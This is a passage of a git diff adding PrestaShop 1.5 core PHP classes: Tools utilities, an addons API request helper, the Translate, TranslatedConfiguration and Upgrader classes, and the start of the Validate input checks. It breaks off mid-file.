(preg_match('/[0-9]+m/i', $option)) + return 1024 * 1024 * (int)$option; + + if (preg_match('/[0-9]+g/i', $option)) + return 1024 * 1024 * 1024 * (int)$option; + + return $option; + } + + /** + * + * @return bool true if the server use 64bit arch + */ + public static function isX86_64arch() + { + return (PHP_INT_MAX == '9223372036854775807'); + } + + /** + * Get max file upload size considering server settings and optional max value + * + * @param int $max_size optional max file size + * @return int max file size in bytes + */ + public static function getMaxUploadSize($max_size = 0) + { + $post_max_size = Tools::convertBytes(ini_get('post_max_size')); + $upload_max_filesize = Tools::convertBytes(ini_get('upload_max_filesize')); + if ($max_size > 0) + $result = min($post_max_size, $upload_max_filesize, $max_size); + else + $result = min($post_max_size, $upload_max_filesize); + return $result; + } + + /** + * apacheModExists return true if the apache module $name is loaded + * @TODO move this method in class Information (when it will exist) + * + * Notes: This method requires either apache_get_modules or phpinfo() + * to be available. With CGI mod, we cannot get php modules + * + * @param string $name module name + * @return boolean true if exists + * @since 1.4.5.0 + */ + public static function apacheModExists($name) + { + if (function_exists('apache_get_modules')) + { + static $apache_module_list = null; + + if (!is_array($apache_module_list)) + $apache_module_list = apache_get_modules(); + + // we need strpos (example, evasive can be evasive20) + foreach ($apache_module_list as $module) + { + if (strpos($module, $name) !== false) + return true; + } + } + return false; + } + + + /** + * @params string $path Path to scan + * @params string $ext Extention to filter files + * @params string $dir Add this to prefix output for example /path/dir/* + * + * @return array List of file found + * @since 1.5.0 + */ + public static function scandir($path, $ext = 'php', $dir = '', $recursive = false) + { + $path = rtrim(rtrim($path, '\\'), '/').'/'; + $real_path = rtrim(rtrim($path.$dir, '\\'), '/').'/'; + $files = scandir($real_path); + if (!$files) + return array(); + + $filtered_files = array(); + + $real_ext = false; + if (!empty($ext)) + $real_ext = '.'.$ext; + $real_ext_length = strlen($real_ext); + + $subdir = ($dir) ? $dir.'/' : ''; + foreach ($files as $file) + { + if (!$real_ext || (strpos($file, $real_ext) && strpos($file, $real_ext) == (strlen($file) - $real_ext_length))) + $filtered_files[] = $subdir.$file; + + if ($recursive && $file[0] != '.' && is_dir($real_path.$file)) + foreach (Tools::scandir($path, $ext, $subdir.$file, $recursive) as $subfile) + $filtered_files[] = $subfile; + } + return $filtered_files; + } + + + /** + * Align version sent and use internal function + * + * @static + * @param $v1 + * @param $v2 + * @param string $operator + * @return mixed + */ + public static function version_compare($v1, $v2, $operator = '<') + { + Tools::alignVersionNumber($v1, $v2); + return version_compare($v1, $v2, $operator); + } + + /** + * Align 2 version with the same number of sub version + * version_compare will work better for its comparison :) + * (Means: '1.8' to '1.9.3' will change '1.8' to '1.8.0') + * @static + * @param $v1 + * @param $v2 + */ + public static function alignVersionNumber(&$v1, &$v2) + { + $len1 = count(explode('.', trim($v1, '.'))); + $len2 = count(explode('.', trim($v2, '.'))); + $len = 0; + $str = ''; + + if ($len1 > $len2) + { + $len = $len1 - $len2; + $str = &$v2; + } + else if ($len2 > $len1) + { + $len = $len2 - $len1; + $str = &$v1; + } + + for ($len; $len > 0; $len--) + $str .= '.0'; + } + + public static function modRewriteActive() + { + if (Tools::apacheModExists('mod_rewrite')) + return true; + if ((isset($_SERVER['HTTP_MOD_REWRITE']) && strtolower($_SERVER['HTTP_MOD_REWRITE']) == 'on') || strtolower(getenv('HTTP_MOD_REWRITE')) == 'on') + return true; + return false; + } + + public static function unSerialize($serialized, $object = false) + { + if (is_string($serialized) && (strpos($serialized, 'O:') === false || !preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized)) && !$object || $object) + return @unserialize($serialized); + + return false; + } + + /** + * Reproduce array_unique working before php version 5.2.9 + * @param array $array + * @return array + */ + public static function arrayUnique($array) + { + if (version_compare(phpversion(), '5.2.9', '<')) + return array_unique($array); + else + return array_unique($array, SORT_REGULAR); + } + + /** + * Delete unicode class from regular expression patterns + * @param string $pattern + * @return pattern + */ + public static function cleanNonUnicodeSupport($pattern) + { + if (!defined('PREG_BAD_UTF8_OFFSET')) + return $pattern; + return preg_replace('/\\\[px]\{[a-z]\}{1,2}|(\/[a-z]*)u([a-z]*)$/i', "$1$2", $pattern); + } + + public static function addonsRequest($request, $params = array()) + { + $addons_url = 'api.addons.prestashop.com'; + $postData = ''; + $postDataArray = array( + 'version' => isset($params['version']) ? $params['version'] : _PS_VERSION_, + 'iso_lang' => Tools::strtolower(isset($params['iso_lang']) ? $params['iso_lang'] : Context::getContext()->language->iso_code), + 'iso_code' => Tools::strtolower(isset($params['iso_country']) ? $params['iso_country'] : Country::getIsoById(Configuration::get('PS_COUNTRY_DEFAULT'))), + 'shop_url' => urlencode(isset($params['shop_url']) ? $params['shop_url'] : Tools::getShopDomain()), + 'mail' => urlencode(isset($params['email']) ? $params['email'] : Configuration::get('email')) + ); + foreach ($postDataArray as $postDataKey => $postDataValue) + $postData .= '&'.$postDataKey.'='.$postDataValue; + $postData = ltrim($postData, '&'); + + // Config for each request + if ($request == 'native') + { + // Define protocol accepted and post data values for this request + $protocolsList = array('https://' => 443, 'http://' => 80); + $postData .= '&method=listing&action=native'; + } + if ($request == 'must-have') + { + // Define protocol accepted and post data values for this request + $protocolsList = array('https://' => 443, 'http://' => 80); + $postData .= '&method=listing&action=must-have'; + } + if ($request == 'customer') + { + // Define protocol accepted and post data values for this request + $protocolsList = array('https://' => 443); + $postData .= '&method=listing&action=customer&username='.urlencode(trim(Context::getContext()->cookie->username_addons)).'&password='.urlencode(trim(Context::getContext()->cookie->password_addons)); + } + if ($request == 'check_customer') + { + // Define protocol accepted and post data values for this request + $protocolsList = array('https://' => 443); + $postData .= '&method=check_customer&username='.urlencode($params['username_addons']).'&password='.urlencode($params['password_addons']); + } + if ($request == 'module') + { + // Define protocol accepted and post data values for this request + if (isset($params['username_addons']) && isset($params['password_addons'])) + { + $protocolsList = array('https://' => 443); + $postData .= '&method=module&id_module='.urlencode($params['id_module']).'&username='.urlencode($params['username_addons']).'&password='.urlencode($params['password_addons']); + } + else + { + $protocolsList = array('https://' => 443, 'http://' => 80); + $postData .= '&method=module&id_module='.urlencode($params['id_module']); + } + } + + if ($request == 'install-modules') + { + // Define protocol accepted and post data values for this request + $protocolsList = array('https://' => 443, 'http://' => 80); + $postData .= '&method=listing&action=install-modules'; + + } + + // Make the request + $opts = array( + 'http'=>array( + 'method'=> 'POST', + 'content' => $postData, + 'header' => 'Content-type: application/x-www-form-urlencoded', + 'timeout' => 5, + ) + ); + $context = stream_context_create($opts); + foreach ($protocolsList as $protocol => $port) + { + $content = Tools::file_get_contents($protocol.$addons_url, false, $context); + + // If content returned, we cache it + if ($content) + return $content; + } + + // No content, return false + return false; + } +} + +/** + * Compare 2 prices to sort products + * + * @param float $a + * @param float $b + * @return integer + */ +/* Externalized because of a bug in PHP 5.1.6 when inside an object */ +function cmpPriceAsc($a, $b) +{ + if ((float)$a['price_tmp'] < (float)$b['price_tmp']) + return (-1); + elseif ((float)$a['price_tmp'] > (float)$b['price_tmp']) + return (1); + return 0; +} + +function cmpPriceDesc($a, $b) +{ + if ((float)$a['price_tmp'] < (float)$b['price_tmp']) + return 1; + elseif ((float)$a['price_tmp'] > (float)$b['price_tmp']) + return -1; + return 0; +} \ No newline at end of file diff --git a/classes/Translate.php b/classes/Translate.php new file mode 100755 index 0000000..5491588 --- /dev/null +++ b/classes/Translate.php @@ -0,0 +1,240 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class TranslateCore +{ + /** + * Get a translation for an admin controller + * + * @param $string + * @param string $class + * @param bool $addslashes + * @param bool $htmlentities + * @return string + */ + public static function getAdminTranslation($string, $class = 'AdminTab', $addslashes = false, $htmlentities = true, $sprintf = null) + { + static $modules_tabs = null; + + // @todo remove global keyword in translations files and use static + global $_LANGADM; + + if ($modules_tabs === null) + $modules_tabs = Tab::getModuleTabList(); + + if ($_LANGADM == null) + { + $iso = Context::getContext()->language->iso_code; + if (empty($iso)) + $iso = Language::getIsoById((int)(Configuration::get('PS_LANG_DEFAULT'))); + if (file_exists(_PS_TRANSLATIONS_DIR_.$iso.'/admin.php')) + include_once(_PS_TRANSLATIONS_DIR_.$iso.'/admin.php'); + } + + if (isset($modules_tabs[strtolower($class)])) + { + $class_name_controller = $class.'controller'; + // if the class is extended by a module, use modules/[module_name]/xx.php lang file + if (class_exists($class_name_controller) && Module::getModuleNameFromClass($class_name_controller)) + { + $string = str_replace('\'', '\\\'', $string); + return Translate::getModuleTranslation(Module::$classInModule[$class_name_controller], $string, $class_name_controller); + } + } + + $key = md5(str_replace('\'', '\\\'', $string)); + if (isset($_LANGADM[$class.$key])) + $str = $_LANGADM[$class.$key]; + else + $str = Translate::getGenericAdminTranslation($string, $key, $_LANGADM); + + if ($htmlentities) + $str = htmlentities($str, ENT_QUOTES, 'utf-8'); + $str = str_replace('"', '"', $str); + + if ($sprintf !== null) + $str = Translate::checkAndReplaceArgs($str, $sprintf); + + return ($addslashes ? addslashes($str) : stripslashes($str)); + } + + /** + * Return the translation for a string if it exists for the base AdminController or for helpers + * + * @static + * @param $string string to translate + * @param null $key md5 key if already calculated (optional) + * @param $lang_array global array of admin translations + * @return string translation + */ + public static function getGenericAdminTranslation($string, $key = null, &$lang_array) + { + if (is_null($key)) + $key = md5(str_replace('\'', '\\\'', $string)); + + if (isset($lang_array['AdminController'.$key])) + $str = $lang_array['AdminController'.$key]; + else if (isset($lang_array['Helper'.$key])) + $str = $lang_array['Helper'.$key]; + else if (isset($lang_array['AdminTab'.$key])) + $str = $lang_array['AdminTab'.$key]; + else + // note in 1.5, some translations has moved from AdminXX to helper/*.tpl + $str = $string; + + return $str; + } + + /** + * Get a translation for a module + * + * @param string|Module $module + * @param string $string + * @param string $source + * @return string + */ + public static function getModuleTranslation($module, $string, $source, $sprintf = null, $js = false) + { + global $_MODULES, $_MODULE, $_LANGADM; + + static $lang_cache = array(); + // $_MODULES is a cache of translations for all module. + // $translations_merged is a cache of wether a specific module's translations have already been added to $_MODULES + static $translations_merged = array(); + + $name = $module instanceof Module ? $module->name : $module; + if (!isset($translations_merged[$name]) && isset(Context::getContext()->language)) + { + $filesByPriority = array( + // Translations in theme + _PS_THEME_DIR_.'modules/'.$name.'/translations/'.Context::getContext()->language->iso_code.'.php', + _PS_THEME_DIR_.'modules/'.$name.'/'.Context::getContext()->language->iso_code.'.php', + // PrestaShop 1.5 translations + _PS_MODULE_DIR_.$name.'/translations/'.Context::getContext()->language->iso_code.'.php', + // PrestaShop 1.4 translations + _PS_MODULE_DIR_.$name.'/'.Context::getContext()->language->iso_code.'.php' + ); + foreach ($filesByPriority as $file) + if (Tools::file_exists_cache($file)) + { + include_once($file); + $_MODULES = !empty($_MODULES) ? $_MODULES + $_MODULE : $_MODULE; //we use "+" instead of array_merge() because array merge erase existing values. + $translations_merged[$name] = true; + } + } + $key = md5(str_replace('\'', '\\\'', $string)); + + $cache_key = $name.'|'.$string.'|'.$source; + + if (!isset($lang_cache[$cache_key])) + { + if ($_MODULES == null) + { + if ($sprintf !== null) + $string = Translate::checkAndReplaceArgs($string, $sprintf); + return str_replace('"', '"', $string); + } + + $current_key = strtolower('<{'.$name.'}'._THEME_NAME_.'>'.$source).'_'.$key; + $default_key = strtolower('<{'.$name.'}prestashop>'.$source).'_'.$key; + + if (isset($_MODULES[$current_key])) + $ret = stripslashes($_MODULES[$current_key]); + elseif (isset($_MODULES[$default_key])) + $ret = stripslashes($_MODULES[$default_key]); + // if translation was not found in module, look for it in AdminController or Helpers + elseif (!empty($_LANGADM)) + $ret = Translate::getGenericAdminTranslation($string, $key, $_LANGADM); + else + $ret = stripslashes($string); + + if ($sprintf !== null) + $ret = Translate::checkAndReplaceArgs($ret, $sprintf); + + if ($js) + $ret = addslashes($ret); + + $lang_cache[$cache_key] = str_replace('"', '"', $ret); + } + return $lang_cache[$cache_key]; + } + + /** + * Get a translation for a PDF + * + * @param string $string + * @return string + */ + public static function getPdfTranslation($string) + { + global $_LANGPDF; + + $iso = Context::getContext()->language->iso_code; + + if (!Validate::isLangIsoCode($iso)) + Tools::displayError(sprintf('Invalid iso lang (%s)', Tools::safeOutput($iso))); + + $override_i18n_file = _PS_THEME_DIR_.'pdf/lang/'.$iso.'.php'; + $i18n_file = _PS_TRANSLATIONS_DIR_.$iso.'/pdf.php'; + if (file_exists($override_i18n_file)) + $i18n_file = $override_i18n_file; + + if (!include($i18n_file)) + Tools::displayError(sprintf('Cannot include PDF translation language file : %s', $i18n_file)); + + if (!isset($_LANGPDF) || !is_array($_LANGPDF)) + return str_replace('"', '"', $string); + + $key = md5(str_replace('\'', '\\\'', $string)); + + $str = (array_key_exists('PDF'.$key, $_LANGPDF) ? $_LANGPDF['PDF'.$key] : $string); + + return $str; + } + + /** + * Check if string use a specif syntax for sprintf and replace arguments if use it + * + * @param $string + * @param $args + * @return string + */ + public static function checkAndReplaceArgs($string, $args) + { + if (preg_match_all('#(?:%%|%(?:[0-9]+\$)?[+-]?(?:[ 0]|\'.)?-?[0-9]*(?:\.[0-9]+)?[bcdeufFosxX])#', $string, $matches) && !is_null($args)) + { + if (!is_array($args)) + $args = array($args); + + return vsprintf($string, $args); + } + return $string; + } +} + diff --git a/classes/TranslatedConfiguration.php b/classes/TranslatedConfiguration.php new file mode 100755 index 0000000..27e8739 --- /dev/null +++ b/classes/TranslatedConfiguration.php @@ -0,0 +1,114 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class TranslatedConfigurationCore extends Configuration +{ + protected $webserviceParameters = array( + 'objectNodeName' => 'translated_configuration', + 'objectsNodeName' => 'translated_configurations', + 'fields' => array( + 'value' => array(), + 'date_add' => array(), + 'date_upd' => array(), + ), + ); + + public static $definition = array( + 'table' => 'configuration', + 'primary' => 'id_configuration', + 'multilang' => true, + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isConfigName', 'required' => true, 'size' => 32), + 'id_shop_group' => array('type' => self::TYPE_NOTHING, 'validate' => 'isUnsignedId'), + 'id_shop' => array('type' => self::TYPE_NOTHING, 'validate' => 'isUnsignedId'), + 'value' => array('type' => self::TYPE_STRING, 'lang' => true), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + public function __construct($id = NULL, $id_lang = NULL) + { + $this->def = ObjectModel::getDefinition($this); + // Check if the id configuration is set in the configuration_lang table. + // Otherwise configuration is not set as translated configuration. + if ($id !== null) + { + $id_translated = Db::getInstance()->executeS(' + SELECT `'.$this->def['primary'].'` + FROM `'.pSQL(_DB_PREFIX_.$this->def['table']).'_lang` + WHERE `'.$this->def['primary'].'`='.pSQL($id).' LIMIT 0,1 + '); + + if (empty($id_translated)) + $id = null; + } + parent::__construct($id,$id_lang); + } + + public function add($autodate = true, $nullValues = false) + { + return $this->update($nullValues); + } + + public function update($nullValues = false) + { + $ishtml = false; + foreach ($this->value as $i18n_value) + { + if (Validate::isCleanHtml($i18n_value)) + { + $ishtml = true; + break; + } + } + Configuration::updateValue($this->name, $this->value, $ishtml); + + $last_insert = Db::getInstance()->getRow(' + SELECT `id_configuration` AS id + FROM `'._DB_PREFIX_.'configuration` + WHERE `name` = \''.pSQL($this->name).'\''); + if ($last_insert) + $this->id = $last_insert['id']; + + return true; + } + + public function getWebserviceObjectList($sql_join, $sql_filter, $sql_sort, $sql_limit) + { + $query = ' + SELECT DISTINCT main.`'.$this->def['primary'].'` FROM `'._DB_PREFIX_.$this->def['table'].'` main + '.$sql_join.' + WHERE id_configuration IN + ( SELECT id_configuration + FROM '._DB_PREFIX_.$this->def['table'].'_lang + ) '.$sql_filter.' + '.($sql_sort != '' ? $sql_sort : '').' + '.($sql_limit != '' ? $sql_limit : '').' + '; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } +} \ No newline at end of file diff --git a/classes/Upgrader.php b/classes/Upgrader.php new file mode 100755 index 0000000..d6b1eb7 --- /dev/null +++ b/classes/Upgrader.php @@ -0,0 +1,292 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class UpgraderCore +{ + const DEFAULT_CHECK_VERSION_DELAY_HOURS = 24; + public $rss_version_link = 'http://api.prestashop.com/xml/upgrader.xml'; + public $rss_md5file_link_dir = 'http://api.prestashop.com/xml/md5/'; + /** + * @var boolean contains true if last version is not installed + */ + protected $need_upgrade = false; + protected $changed_files = array(); + protected $missing_files = array(); + + public $version_name; + public $version_num; + public $version_is_modified = null; + /** + * @var string contains hte url where to download the file + */ + public $link; + public $autoupgrade; + public $autoupgrade_module; + public $autoupgrade_last_version; + public $autoupgrade_module_link; + public $changelog; + public $md5; + + public function __construct($autoload = false) + { + if ($autoload) + { + $this->loadFromConfig(); + // checkPSVersion to get need_upgrade + $this->checkPSVersion(); + } + } + public function __get($var) + { + if ($var == 'need_upgrade') + return $this->isLastVersion(); + } + + /** + * downloadLast download the last version of PrestaShop and save it in $dest/$filename + * + * @param string $dest directory where to save the file + * @param string $filename new filename + * @return boolean + * + * @TODO ftp if copy is not possible (safe_mode for example) + */ + public function downloadLast($dest, $filename = 'prestashop.zip') + { + if (empty($this->link)) + $this->checkPSVersion(); + + $destPath = realpath($dest).DIRECTORY_SEPARATOR.$filename; + if (@copy($this->link, $destPath)) + return true; + else + return false; + } + public function isLastVersion() + { + if (empty($this->link)) + $this->checkPSVersion(); + + return $this->need_upgrade; + + } + + /** + * checkPSVersion ask to prestashop.com if there is a new version. return an array if yes, false otherwise + * + * @return mixed + */ + public function checkPSVersion($force = false) + { + + if (class_exists('Configuration')) + $last_check = Configuration::get('PS_LAST_VERSION_CHECK'); + else + $last_check = 0; + // if we use the autoupgrade process, we will never refresh it + // except if no check has been done before + if ($force || ($last_check < time() - (3600 * Upgrader::DEFAULT_CHECK_VERSION_DELAY_HOURS))) + { + libxml_set_streams_context(@stream_context_create(array('http' => array('timeout' => 3)))); + if ($feed = @simplexml_load_file($this->rss_version_link)) + { + $this->version_name = (string)$feed->version->name; + $this->version_num = (string)$feed->version->num; + $this->link = (string)$feed->download->link; + $this->md5 = (string)$feed->download->md5; + $this->changelog = (string)$feed->download->changelog; + $this->autoupgrade = (int)$feed->autoupgrade; + $this->autoupgrade_module = (int)$feed->autoupgrade_module; + $this->autoupgrade_last_version = (string)$feed->autoupgrade_last_version; + $this->autoupgrade_module_link = (string)$feed->autoupgrade_module_link; + $this->desc = (string)$feed->desc; + $config_last_version = array( + 'name' => $this->version_name, + 'num' => $this->version_num, + 'link' => $this->link, + 'md5' => $this->md5, + 'autoupgrade' => $this->autoupgrade, + 'autoupgrade_module' => $this->autoupgrade_module, + 'autoupgrade_last_version' => $this->autoupgrade_last_version, + 'autoupgrade_module_link' => $this->autoupgrade_module_link, + 'changelog' => $this->changelog, + 'desc' => $this->desc + ); + if (class_exists('Configuration')) + { + Configuration::updateValue('PS_LAST_VERSION', serialize($config_last_version)); + Configuration::updateValue('PS_LAST_VERSION_CHECK', time()); + } + } + } + else + $this->loadFromConfig(); + // retro-compatibility : + // return array(name,link) if you don't use the last version + // false otherwise + if (version_compare(_PS_VERSION_, $this->version_num, '<')) + { + $this->need_upgrade = true; + return array('name' => $this->version_name, 'link' => $this->link); + } + else + return false; + } + + /** + * load the last version informations stocked in base + * + * @return $this + */ + public function loadFromConfig() + { + $last_version_check = Tools::unSerialize(Configuration::get('PS_LAST_VERSION')); + if($last_version_check) + { + if (isset($last_version_check['name'])) + $this->version_name = $last_version_check['name']; + if (isset($last_version_check['num'])) + $this->version_num = $last_version_check['num']; + if (isset($last_version_check['link'])) + $this->link = $last_version_check['link']; + if (isset($last_version_check['autoupgrade'])) + $this->autoupgrade = $last_version_check['autoupgrade']; + if (isset($last_version_check['autoupgrade_module'])) + $this->autoupgrade_module = $last_version_check['autoupgrade_module']; + if (isset($last_version_check['autoupgrade_last_version'])) + $this->autoupgrade_last_version = $last_version_check['autoupgrade_last_version']; + if (isset($last_version_check['autoupgrade_module_link'])) + $this->autoupgrade_module_link = $last_version_check['autoupgrade_module_link']; + if (isset($last_version_check['md5'])) + $this->md5 = $last_version_check['md5']; + if (isset($last_version_check['desc'])) + $this->desc = $last_version_check['desc']; + if (isset($last_version_check['changelog'])) + $this->changelog = $last_version_check['changelog']; + } + return $this; + } + + /** + * return an array of files + * that the md5file does not match to the original md5file (provided by $rss_md5file_link_dir ) + * @return void + */ + public function getChangedFilesList() + { + if (is_array($this->changed_files) && count($this->changed_files) == 0) + { + libxml_set_streams_context(@stream_context_create(array('http' => array('timeout' => 3)))); + $checksum = @simplexml_load_file($this->rss_md5file_link_dir._PS_VERSION_.'.xml'); + if ($checksum == false) + { + $this->changed_files = false; + } + else + $this->browseXmlAndCompare($checksum->ps_root_dir[0]); + } + return $this->changed_files; + } + + /** populate $this->changed_files with $path + * in sub arrays mail, translation and core items + * @param string $path filepath to add, relative to _PS_ROOT_DIR_ + */ + protected function addChangedFile($path) + { + $this->version_is_modified = true; + + if (strpos($path, 'mails/') !== false) + $this->changed_files['mail'][] = $path; + else if ( + strpos($path, '/en.php') !== false + || strpos($path, '/fr.php') !== false + || strpos($path, '/es.php') !== false + || strpos($path, '/it.php') !== false + || strpos($path, '/de.php') !== false + || strpos($path, 'translations/') !== false + ) + $this->changed_files['translation'][] = $path; + else + $this->changed_files['core'][] = $path; + } + + /** populate $this->missing_files with $path + * @param string $path filepath to add, relative to _PS_ROOT_DIR_ + */ + protected function addMissingFile($path) + { + $this->version_is_modified = true; + $this->missing_files[] = $path; + } + + protected function browseXmlAndCompare($node, &$current_path = array(), $level = 1) + { + foreach ($node as $key => $child) + { + if (is_object($child) && $child->getName() == 'dir') + { + $current_path[$level] = (string)$child['name']; + $this->browseXmlAndCompare($child, $current_path, $level + 1); + } + else if (is_object($child) && $child->getName() == 'md5file') + { + // We will store only relative path. + // absolute path is only used for file_exists and compare + $relative_path = ''; + for ($i = 1; $i < $level; $i++) + $relative_path .= $current_path[$i].'/'; + $relative_path .= (string)$child['name']; + $fullpath = _PS_ROOT_DIR_.DIRECTORY_SEPARATOR . $relative_path; + + $fullpath = str_replace('ps_root_dir', _PS_ROOT_DIR_, $fullpath); + + // replace default admin dir by current one + $fullpath = str_replace(_PS_ROOT_DIR_.'/admin', _PS_ADMIN_DIR_, $fullpath); + if (!file_exists($fullpath)) + $this->addMissingFile($relative_path); + else if (!$this->compareChecksum($fullpath, (string)$child)) + $this->addChangedFile($relative_path); + // else, file is original (and ok) + } + } + } + + protected function compareChecksum($path, $original_sum) + { + if (md5_file($path) == $original_sum) + return true; + return false; + } + + public function isAuthenticPrestashopVersion() + { + + $this->getChangedFilesList(); + return !$this->version_is_modified; + } + +} diff --git a/classes/Validate.php b/classes/Validate.php new file mode 100755 index 0000000..84d8bc2 --- /dev/null +++ b/classes/Validate.php @@ -0,0 +1,1060 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ValidateCore +{ + public static function isIp2Long($ip) + { + return preg_match('#^-?[0-9]+$#', (string)$ip); + } + + public static function isAnything() + { + return true; + } + + /** + * Check for e-mail validity + * + * @param string $email e-mail address to validate + * @return boolean Validity is ok or not + */ + public static function isEmail($email) + { + return !empty($email) && preg_match(Tools::cleanNonUnicodeSupport('/^[a-z\p{L}0-9!#$%&\'*+\/=?^`{}|~_-]+[.a-z\p{L}0-9!#$%&\'*+\/=?^`{}|~_-]*@[a-z\p{L}0-9]+[._a-z\p{L}0-9-]*\.[a-z0-9]+$/ui'), $email); + } + + /** + * Check for module URL validity + * + * @param string $url module URL to validate + * @param array $errors Reference array for catching errors + * @return boolean Validity is ok or not + */ + public static function isModuleUrl($url, &$errors) + { + if (!$url || $url == 'http://') + $errors[] = Tools::displayError('Please specify module URL'); + elseif (substr($url, -4) != '.tar' && substr($url, -4) != '.zip' && substr($url, -4) != '.tgz' && substr($url, -7) != '.tar.gz') + $errors[] = Tools::displayError('Unknown archive type'); + else + { + if ((strpos($url, 'http')) === false) + $url = 'http://'.$url; + if (!is_array(@get_headers($url))) + $errors[] = Tools::displayError('Invalid URL'); + } + if (!count($errors)) + return true; + return false; + + } + + /** + * Check for MD5 string validity + * + * @param string $md5 MD5 string to validate + * @return boolean Validity is ok or not + */ + public static function isMd5($md5) + { + return preg_match('/^[a-f0-9A-F]{32}$/', $md5); + } + + /** + * Check for SHA1 string validity + * + * @param string $sha1 SHA1 string to validate + * @return boolean Validity is ok or not + */ + public static function isSha1($sha1) + { + return preg_match('/^[a-fA-F0-9]{40}$/', $sha1); + } + + /** + * Check for a float number validity + * + * @param float $float Float number to validate + * @return boolean Validity is ok or not + */ + public static function isFloat($float) + { + return strval((float)$float) == strval($float); + } + + public static function isUnsignedFloat($float) + { + return strval((float)$float) == strval($float) && $float >= 0; + } + + /** + * Check for a float number validity + * + * @param float $float Float number to validate + * @return boolean Validity is ok or not + */ + public static function isOptFloat($float) + { + return empty($float) || Validate::isFloat($float); + } + + /** + * Check for a carrier name validity + * + * @param string $name Carrier name to validate + * @return boolean Validity is ok or not + */ + public static function isCarrierName($name) + { + return empty($name) || preg_match(Tools::cleanNonUnicodeSupport('/^[^<>;=#{}]*$/u'), $name); + } + + /** + * Check for an image size validity + * + * @param string $size Image size to validate + * @return boolean Validity is ok or not + */ + public static function isImageSize($size) + { + return preg_match('/^[0-9]{1,4}$/', $size); + } + + /** + * Check for name validity + * + * @param string $name Name to validate + * @return boolean Validity is ok or not + */ + public static function isName($name) + { + return preg_match(Tools::cleanNonUnicodeSupport('/^[^0-9!<>,;?=+()@#"°{}_$%:]*$/u'), stripslashes($name)); + } + + /** + * Check for hook name validity + * + * @param string $hook Hook name to validate + * @return boolean Validity is ok or not + */ + public static function isHookName($hook) + { + return preg_match('/^[a-zA-Z0-9_-]+$/', $hook); + } + + /** + * Check for sender name validity + * + * @param string $mail_name Sender name to validate + * @return boolean Validity is ok or not + */ + public static function isMailName($mail_name) + { + return preg_match(Tools::cleanNonUnicodeSupport('/^[^<>;=#{}]*$/u'), $mail_name); + } + + /** + * Check for e-mail subject validity + * + * @param string $mail_subject e-mail subject to validate + * @return boolean Validity is ok or not + */ + public static function isMailSubject($mail_subject) + { + return preg_match(Tools::cleanNonUnicodeSupport('/^[^<>]*$/u'), $mail_subject); + } + + /** + * Check for module name validity + * + * @param string $module_name Module name to validate + * @return boolean Validity is ok or not + */ + public static function isModuleName($module_name) + { + return (is_string($module_name) && preg_match('/^[a-zA-Z0-9_-]+$/', $module_name)); + } + + /** + * Check for template name validity + * + * @param string $tpl_name Template name to validate + * @return boolean Validity is ok or not + */ + public static function isTplName($tpl_name) + { + return preg_match('/^[a-zA-Z0-9_-]+$/', $tpl_name); + } + + /** + * Check for image type name validity + * + * @param string $type Image type name to validate + * @return boolean Validity is ok or not + */ + public static function isImageTypeName($type) + { + return preg_match('/^[a-zA-Z0-9_ -]+$/', $type); + } + + /** + * Check for price validity + * + * @param string $price Price to validate 